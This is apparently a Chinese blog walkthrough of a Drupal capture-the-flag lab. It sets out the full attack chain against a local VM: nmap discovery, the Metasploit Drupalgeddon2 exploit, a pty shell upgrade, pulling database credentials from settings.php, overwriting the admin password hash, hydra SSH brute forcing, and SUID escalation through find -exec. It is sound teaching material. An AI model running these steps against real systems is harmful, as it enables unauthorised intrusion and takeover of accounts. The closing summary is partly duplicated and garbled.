实战项目 1 Linux-Drupal靶场渗透测试案例详解

实战项目 1 Linux-Drupal靶场渗透测试案例详解

1). 实验目的:

完成靶场 1 渗透测试所有任务,获取最终“flag”。

2).实验思路:

(1)搭建实验环境;

(2)信息收集,在 kali 中发现靶机,通过测试发现漏洞;

(3) 利用漏洞渗透 web 网站,获取最终“flag”。

(4) 实验中的 kali 和靶机的网络 IP 参数请大家注意要根据自己的环境来定,切勿照搬。

3). 实验步骤:

1) 搭建实验环境

启动 kali 虚拟机,导入靶场 1 虚拟机。(具体步骤可参考实验手册-实验环境搭建)

2)发现目标网站

1、在 kali 虚拟机中使用命令 ifconfig,获取主机 ip 地址为 192.168.3.135(请根据自己环境进行扫描结果可能不同) :
在这里插入图片描述

2、使用 nmap -sP 192.168.100.0/24 命令扫描 192.168.100.0/24 网段主机 ip 地址,可发现目标网站 ip 地址为192.168.3.136;


3、使用 nmap -sS -A 192.168.3.136 命令扫描目标主机的端口,发现目标主机 80 端口处于 open 状态,运行 htttp 服务,操作系统为 Debian, 网站环境为 apache:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

3)漏洞发现

1、使用火狐浏览器访问目标 web 主机 80 端口,发现是一个 CMS,底部标有“Drupal":

在这里插入图片描述


2,通过了解,Drupal 是一款开源 CMS 内容管理系统,以 php 开发框架,用 msf 查看可使用的漏洞模块,运行 msfconsole,
进入 msf 工具,运行 search drupal, 查找相关漏洞模块:

在这里插入图片描述

4)漏洞利用

1、执行 use exploit/unix/webapp/drupal_drupalgeddon2 命令使用该模块;

在这里插入图片描述

2、进入模块后,执行 show options 显示出所有设置,其中 required 为 yes 的是需要配置的,此处 rhosts(目标 ip 地址)没有设置:

在这里插入图片描述

3、设置 rhosts 目标主机为 192.168.3.136,并执行 run 开始攻击:


在这里插入图片描述

4、如果成功就会拿到对方的 shell,输入 shell 命令得到命令窗口,执行Is发现 flag1,cat 查看 flag1 内容,提示我们需
要查看配置文件:

在这里插入图片描述

5.通过百度查找资料发现,drupal 的配置文件存放在 sites 目录中的 defaults 目录中,进入目录,查看配置文件 settings.php内容,发现 flag2,以及 mysql 的用户名和密码:


在这里插入图片描述

5) Sql 注入

1、通过翻译 flag2 内容得到提示,字典爆破不是获取访问权限的唯一方式,我们要用其他方式来获取权限
因为当前 shell 没有提示,所以我们使用 python 弹回一个新 shell,执行

python -c 'import pty;pty.spawn("/bin/sh")':

在这里插入图片描述

2、输入 mysql 账户名和密码进入数据库,执行 mysql -u dbuser -p, 输入密码:

在这里插入图片描述

3、执行命令“ mysql> show databases; “列出所有数据库,执行”mysql> use drupaldb;" 进入 drupaldb 数据库:


在这里插入图片描述

4、执行“mysql> show tables;" 列出当前数据库所有表,发现用户名表 users:

在这里插入图片描述

5、执行“mysql>select * from users;" 列出所有内容,发现用户名及密码 hash 值:

在这里插入图片描述

6、在 scripts 目录有 password-hash.sh 文件,可以用该文件生成自己的密码 hash 值替换数据库 hash,达到登陆后台的目的,这里我写的 123456(也可自行设置其他密码):


在这里插入图片描述

7、exit 退出 mysql,使用 php scripts/password-hash.sh 123456,生成 123456 的 hash 值:

在这里插入图片描述

8、再重新进入数据库用 123456 生成的 hash 值替代原来 admin 用户的密码,执行 update drupaldb.users set pass=‘ s s sDt4zQDXSVY81K1/WMYCW0PWG]pB3cw7A3DqW5hzX3Xr.Axut3.ue’ where name=‘admin’:

在这里插入图片描述

6) 提权

1、使用用户名 admin,密码 123456 登录网站:


在这里插入图片描述

2、在左上角 Dashboard 中找到 flag3 并打开:

在这里插入图片描述

3、从 flag3 中获取到信息“Special PERMS will help FIND the passwd- but you’ll need to -exec that command to work out how to get what’s in the shadow." 特殊的 perms 会帮助你找到通行证,但是你需要执行 -exec 这个命令才能弄清楚如何在 shadow 中得到什么。

​ 根据上一步提示来获取 root 权限(SUID 提权),SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。
​ 执行 cat /etc/passwd 发现一个用户 flag4:


在这里插入图片描述

  1. 我们可以运用 hydra 暴力破解工具对 flag4 这个用户进行 SSH 破解
    hydra -l flag4 -P /usr/share/john/password.Ist 192.168.X.X ssh -vV //192.168.X.X 为靶机 IP, 下图绿色信息显示:
    flag4 用户的密码是:orange

在这里插入图片描述

4、使用find命令查找有特殊权限suid的命令:find / -perm -4000
在这里插入图片描述

5、执行 find ./aaa -exec ‘/bin/sh’ ,使用 find 命令提权://aaa 可以是系统上存在的一个文件


在这里插入图片描述

6、进入/root 目录,列出文件,发现 thefinalflag.txt 文件,查看得到最终 flag。渗透测试结束。

在这里插入图片描述

靶场 1 渗透测试流程总结

在这里插入图片描述

  1. 搭建实验环境: 启动 Kali Linux 虚拟机,并导入靶场 1 虚拟机。
  2. 信息收集:
    • 使用 ifconfig 命令获取 Kali Linux 主机的 IP 地址。
    • 使用 nmap 扫描目标网络段,发现靶机的 IP 地址和开放端口信息。
  3. 漏洞发现:
    • 访问目标网站,发现其运行的是 Drupal CMS。
    • 使用 Metasploit 框架搜索 Drupal 相关的漏洞模块,选择适合的漏洞利用模块(如 Drupalgeddon2)。
  4. 漏洞利用:
    • 配置漏洞利用模块,并执行攻击,获取对靶机的 shell 访问权限。
    • 浏览文件系统,查找配置文件和敏感信息,如数据库密码和其它 flag。
  5. 提权过程:
    • 利用漏洞或者 SUID 权限提权,获取更高的系统访问权限。
    • 利用发现的用户名和密码,例如通过 SSH 登录获得进一步的权限。
  6. 最终获取 flag:
    模块,并执行攻击,获取对靶机的 shell 访问权限。
    • 浏览文件系统,查找配置文件和敏感信息,如数据库密码和其它 flag。
  7. 提权过程:
    • 利用漏洞或者 SUID 权限提权,获取更高的系统访问权限。
    • 利用发现的用户名和密码,例如通过 SSH 登录获得进一步的权限。
  8. 最终获取 flag:
    • 浏览系统文件和特权目录,找到最终的 flag 文件,确认渗透测试的成功。

         																																			如需靶场联系,如有侵权请联系作者删除。
      
  • 16
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值